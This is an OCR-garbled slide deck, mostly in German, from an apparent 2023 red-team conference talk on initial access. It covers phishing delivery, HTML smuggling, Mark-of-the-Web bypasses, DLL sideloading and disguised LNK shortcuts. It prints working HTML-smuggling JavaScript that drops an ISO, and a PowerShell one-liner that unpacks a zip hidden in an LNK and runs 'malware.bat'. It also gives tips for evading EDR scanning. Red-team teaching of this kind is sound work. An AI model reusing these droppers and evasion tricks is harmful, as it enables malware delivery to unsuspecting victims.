OO

How to get in: Modern initial access
strategies for Red Teams

ITSECX 2023

s/ashsec

Red Teaming Services



/me

David Wind
Geschaftsfuhrer slashsec Red Teaming GmbH

Red Teamer / Penetration Tester / Social Engineer / (occasional) Bug
Bounty Hunter

s/ashsec

Red Teaming Services




@ Phishing T1566

@ Drive-by Compromise - T1189

@ Exploit Public-Facing Application - T1190
@ Valid Accounts - T1078

https://thedfirreport.com/2023/03/06/2022-year-in-review/



Entry Vectors

Phishing

Brute Force
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Email with Attachments

Email with Links

SEO Poisoning (new)

Classical Brute Force

Password Spraying

" n=xkEron

syskt=ms

1) Ink

.iso

html “szs Attachment Filtering
'“‘”%;"'s" .chm Web Proxies

Fake software / document

RDP
(Remote Desktop)
Multi-Factor-Authentication
Other Services (MFA)

SSH

https://twitter.com/cyb3rops/status/1699770378631946531



im] \ G thunderbird - Google Search X l-i— - O X

()  https://www.google.com/search?q=thunderbird&gl=us&hl=en&location=United +States&uule=w+CAIQICINVWSpd... A g 8 =

$

@"&gle thunderbird X & @mQ &3 i

Q Al [ Images [E News [J Videos  Shopping i More Tools

About 104,000,000 results (0.51 seconds)

Ad - https://iwww.tthunderbir.space/
Thunderbird - Easier Easy to Set Up IcedID malvertising

Thunderbird is a email application that's easy to set up and customize - great features! Many
more features you can change the look and feel in an instant. (

https://www.thunderbird.net

Thunderbird — Make Email Easier. — Thunderbird

Thunderbird is a free email application that's easy to set up and customize - and it's loaded with
great features!

Download Thunderbird

Download Thunderbird. Your download should begin ...

Features
Thunderbird is a free email application that's easy to set up ...

Add-ons

Most Popular Extensions - Themes - Featured Extensions - ...

Make Email Easier.
Thunderbird is a free email application that's easy to setup ...

More results from thunderbird.net »
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Country:

Austria (4)

ISP: : In Speed: Out Speed:

All All

2%
Admin: Vendor: Per page: Price: @

All All 10

Mask Country State / City Details Info Vendor Blacklist Price Action

O3 B

SP: IPAX Internet

— Vienna > XRi####DP

Vienna ” - - gold
- / - Mbit/s

$7.00 Buy

HEE X
88.1164**; \ieres XR###HDP
SP: Al Telekom . -
V yold
L2 -/ - Mbit/s %
90,152 % **

Lower Austria A XR#t###DP
SP: Al Telekon -~

R Purgstall ) vl gold
PN - / - Mbit/s

80,122 *** Lower Austria XR###t#DP
SP: HIGHWAY19¢ Traiskirchen gold
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e . < ly Al —> Forward ‘ ‘ ‘
David Wind via 0365 <sharepoint@0365.com> © | O Reply | © Reply orward ;m. .
To @ David Wind Thu 10/12/2023 8:53 AM

@ This email has been sent from an intemational address and contains characters from multiple languages that may lock alike. Click here to learn more.
If there are problems with how this message is displayed, click here to view it in a web browser,
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Deliver
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Deliver | Malware in Attachments

* Wird meist geblockt, Erfolgsaussichten sehr gering
* Viele Unternehmen blockieren gefahrliche Dateitypen

* Der alte Weg: Malware Uber Makros
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Deliver | Malware via Links

e Scanner CIDRs sperren, evtl. auf Lander beschranken
* Trusted (Cloud) Domains/Sites nutzen
e Sandbox / Crawling-bypasses

* Bei den Links darauf achten
» dass keine verdachtigen Extensions genutzt werden (z. B. .exe)
* keine verdachtigen GET-Parameter wie ?rid=, ?/id=, ?campaign=

* HTML Smuggeling is the way to go !
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LOTS-Project.com

Contribute Other~

Living Off Trusted Sites (LOTS) Project

Attackers are using popular legitimate domains when conducting phishing, C&C,
exfiltration and downloading tools to evade detection. The list of websites below allow
attackers to use their domain or subdomain. Website design credits: LOLBAS & GTFOBins.

Search for a website (e.g. github.com) or tag (+phishing) or service provider (#microsc

Service Provider v

raw.githubusercontent.com | Phishing | | C&C | | Download | Github
github.com | Phishing | | Download | Github
idrv.ms Microsoft
idrv.com | Phishing | | Download | Microsoft
docs.google.com | Phishing | | C&C | Google

[ ohiehina | | nouminaa |

https://lots-project.com/



Deliver | Emails

e Domane aufwarmen !

» Uber trusted sources/services versenden
e z. B. GoPhish -> AWS Redirector -> Gmail -> Target

 Verlinkungen (Reputation!)
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Deliver | HTML Smuggeling

e JavaScript Blob object mit raw (Malware) data

* <g> Tag erstellen

* URL.createObjectURL() und speichern in zuvor erstelltem <a> Tag

* HTML5S download Funktion wird fir Download der ObjectURL genutzt
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32 var obf_data = obf_base64ToArrayBuffer(obf_file);

33 var obf_blob = new Blob([obf_datal, {type: 'application/octet-stream'});
34 var obf_fileName = 'vpn_client.iso';

35

36 // msSaveOrOpenBlob

37 if (window.navigator['msSaveOrOpenBlob']) {

38 window.navigator['msSaveOrOpenBlob'] (obf_blob, obf_fileName);
39 }

40 else {

41 var obf_a = document.createElement('a’');

42 document.body.appendChild(obf_a);

43 obf_a.style = 'display: none';

44

45 // createObjectURL

46 var obf_url = window.URL['createObjectURL"'] (obf_blob);
47 obf_al['href'] = obf_url;

48

49 // download

50 obf_al['download'] = obf_fileName;

51

52 obf_al'click']l();

53

54 // revokeObjectURL

55 window.URL['revokeObjectURL"'] (obf_url);
s/fashsec » |
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Beispiel HTML Smuggeling
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Deliver | Alternativen zu Email

* Teams bzw. andere Messaging Apps

e LinkedIn (In-Mail ?!)

* Chat Services Webseiten, Bewerbungsportale, etc.
* Telefon (Vishing)

* SMS
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Execution
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Mark of the Web (MOTW)

 Mark of the web ist eine andere Datei, die als Alternate Data Stream
(ADS) mit dem Namen Zone.ldentifier angehangt wird und nur auf
NTFS-Dateisystemen verflgbar ist.

PS C:\Users\admin\Downloads> Get-Content .\Bewerbung.7z Zone.Identifier
[ZoneTransfer]

ZoneId=3

ReferrerUrl=https://onedrive.live.com/

HostUrl=https://yqlqfg.am.files.1ldrv.com/y4m4x0t3k1BfBIiqFtOMcWXwq6BN41pIgmtyLtP-t nNLNnzHEdXxV4AC5IKj23k0iumT4GrsIf
Zy6iFZJat WCnTsdyUo5nz-qySXghTDbpNPsxByoSrl19qzA@SUNFIPUiINPGUjLIG2y3Ywx85Dcms jmFQYh7fqwO1tDPEQT11BfYSrwmTaTlv8X4XFp
| yqIAMjONw-P100dWWIXdGMOZtKsUQ

PS C:\Users\admin\Downloads>
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Mark of the Web (MOTW)

PS C:\Users\admin\Downloads> Get-Content .\Bewerbung.7z Zone.Identifier

[ZoneTransfer]
Zoneld=3

ReferrerUrl=https://onedrive.live.com/

HostUrl=https://yqlqfg.am.files.1ldrv.com/y4m4x0t3k1BfBIiqFtO9McWXwq6BN41pIgmtyLtP-t_nNLNnzHEdxVAC5IKj23k0iumT4GrsIf
Zy6iFZJat_WCnTsdyUo5nz-qySXghTDbpNPsxByoSrl9qzA@SUNFIPUiINPGUjLIG2y3Ywx85Dcms jmFQYh7fqwOl1tDPEqT11BfYS5rwmTaTlv8X4XFp
| yqIAMjONw-P100dWWIXdGMOZtKsUQ
PS C:\Users\admin\Downloads>

PS C:\Users\admin\Downloads\Bewerbung> Get-Content .\Bewerbung.pdf.lnk Zone.Identifier
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0. Local computer
1. Local intranet
2. Trusted sites

3. Internet

4. Restricted sites

iz

Igor Pavlov - 2016-03-30 S

The overhead for that property (additional Zone Identifier stream for each file) is not good in some
cases.

https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/



MOTW | Bypasses

* Missbrauch von Software, die MOTW nicht unterstitzt
e 7. B. 7Zip (support, aber nicht default)

* Missbrauch von Containerformaten
* |SO, VHD, ...

e Schwachstellen (z. B. CVE-2022-41049)

e Uberblick: https://github.com/nmantani/archiver-MOTW-support-
comparison
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https://github.com/nmantani/archiver-MOTW-support-comparison
https://github.com/nmantani/archiver-MOTW-support-comparison

Malware ...

* Fruher oft via Makros in Office Dokumenten

* Phishing via LNK (Shortcuts) nimmt stark zu
* DLL Sideloads !!
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DLL Sideloading

* DLL Sideloading nutzt die Tatsache aus, dass Anwendungen eine
bosartige DLL-Datei anstelle einer legitimen Datei laden

* Angreifende platzieren bdsartige DLLs in Pfaden, die das
Betriebssystem zuerst durchsucht (aktueller Ordner)

» Schadcode kann somit innerhalb von anderen (signierten?!)
Anwendungen ausgefuhrt werden

* Geeignet fur initialen Zugriff, aber auch fir Persistenz

* Gegenmallnahmen: Hardcoding von Pfaden, signieren der DLLs
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Absusing LNKs

~

[] Name Date modified Type Size
@ Bewerbung 14/07/2023 12:23 Shortcut 2.681 KB

.
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Absusing LNKs

$obf_lnkpath = Get-ChildItem *.1lnk | where-object {$_.length -eq 02833801}
| Select-Object —-ExpandProperty FullName;$obf_file =
[system.io.file]::ReadAl1Bytes($obf_lnkpath);$obf_path =
'C:\Users\ADMINI~1\AppData\Local\Temp\tmp'+(Get-Random)+'.zip"';$obf_path =
[Environment]::ExpandEnvironmentVariables($obf_path);$obf_dir =
[System.I0.Path]::GetDirectoryName($obf_path); [System.IO0.File]::WriteAl1By
tes($obf_path, $obf_filel[003494..($obf_file.length)]);cd $obf_dir;Expand-
Archive -Path $obf_path -DestinationPath . —-EA SilentlyContinue -Force |
Out-Null;Remove-Item —-Path $obf_path -EA SilentlyContinue —-Force | Qut-
Null;& .\malware.bat
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Absusing LNKs

* Icon-Pfad hinterlegen (z. B. zum Standard-PDF Reader des Opfers)
* Danke Edge, dass du ein PDF-Icon miteingebettet hast |

| General Shortcut Securty Details Previous Versions

[ ]I

|
Target tyg

Change lcon x

Target lod

: Target:

Start in:

Shortcut K

Comment

Open

s/ashsec : ——
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Absusing LNKs

* Eine glaubwiirdige Beschreibung des Shortcuts (ja, \n ist erlaubt

\(V)_/7)

%] Bewerbung.pdf 12/10/2023 11:49 Shortcut 2.681 KB

Type: Adobe Acrobat-Dokument
Size: 2681 KB
Date modified: 12/10/2023 11:49
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Absusing LNKs

* Den Befehl verstecken (durch Auffullen des Target-Felds mit

Lee rzeic h en ) /%) Bewerbung Properties X
Teminal Security Details Previous Versions
General Shortcut Options Font Layout Colors

| P \ Bewerbung
[ oJid

Target type: Application

Target location: system32

[ Target ]

Start in: |

Shortcut key: | None

/ h Run: Minimized e
S a S S e C Comment: Type: Adobe Acrobat-DokumentSize: 521,2 KBD:

Red Teaming Services

Open File Location Change Icon... Advanced...



Bonus | Bloating

 Statisches Scannen von EDRs kann verhindert werden, wenn die
DateigrofRe entsprechend grol ist

* Wird in der Regel auch nicht zur Analyse in die Cloud geschickt ;)
* >1GB ist meist ausreichend

* Wird mit Ox00 aufgefillt, kann gut komprimiert werden
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Bonus | Bloating

~
[0 Name Date modified Type Size
tools 12/10/2023 11:56 File folder

= GG :

i tools 12/10/2023 11:56 Compressed (zipp... 2.677 KB
[0 Name Date modified Type Size

Lebenslauf 22/03/2023 11:09 Adobe Acrobat-Dokument 253 KB
malware 14/07/2023 12:17 Windows Batch File 1KB
D o 25/06/2023 20:24 Application extension 687 KB
s 25/06/2023 20:24 Application 290 KB
M = 10/07/2023 11:58 Application extension 1.331.967 KB
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Summary
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Summary

* DLL Sideloading ermoglicht die Ausfihrung von DLLs mit Malware
innerhalb signierter, vertrauenswurdiger Software

* DLLs + Executables in .zip und an LNK anhangen
* Bonus: Statische Erkennung umgehen wir mit Bloating

* LNK manipulieren mit

* Doppelte Erweiterungen (.pdf.Ink)
* Whitespaces in Target Feld
* Glaubwiirdige Beschreibung (/n’s)
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sum it up

Spear Phishing mit Pretexting !

Phishing mit Anhangen funktioniert in der Regel nicht mehr

Links mit hoher Reputation nutzen

HTML-Smuggling oder verschlisselte Dateien

* “Hey, ich will meine Bewerbung nur Verschlisselt mit euch austauschen”

LNKs (mit PowerShell) funktionieren in der Regel gut

Andere Kanale nutzen

* Messaging-Dienste, Webportale, LinkedIn, Telefonanrufe, um Nachdruck zu erzeugen ...

e Gute Malware bauen ;)
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Q&A
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